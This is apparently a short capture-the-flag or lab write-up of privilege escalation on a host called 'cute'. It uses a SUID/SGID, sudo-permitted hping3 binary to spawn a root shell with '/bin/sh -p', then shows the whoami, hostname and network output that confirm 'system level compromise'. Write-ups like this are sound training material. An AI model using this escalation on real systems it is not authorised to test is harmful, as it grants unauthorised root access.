BBScute_Privilege_Escalation

sudo SUID/SGID hping3

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The www-data account has sudo privileges to execute the /usr/sbin/hping3 --icmp command as the root account

cmd $ ls -lasht /usr/sbin/hping3
156K -rwsr-sr-x 1 root root 154K Sep  6  2014 /usr/sbin/hping3

hping3 was also a SUID/SGID binary and it was confirmed by PEAS

www-data@cute:/var/www$ /usr/sbin/hping3 
hping3> /bin/sh -p
# whoami
root
# hostname
cute.calipendula
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:9e:46:6d brd ff:ff:ff:ff:ff:ff
    inet 192.168.239.128/24 brd 192.168.239.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe9e:466d/64 scope link 
       valid_lft forever preferred_lft forever

System level compromise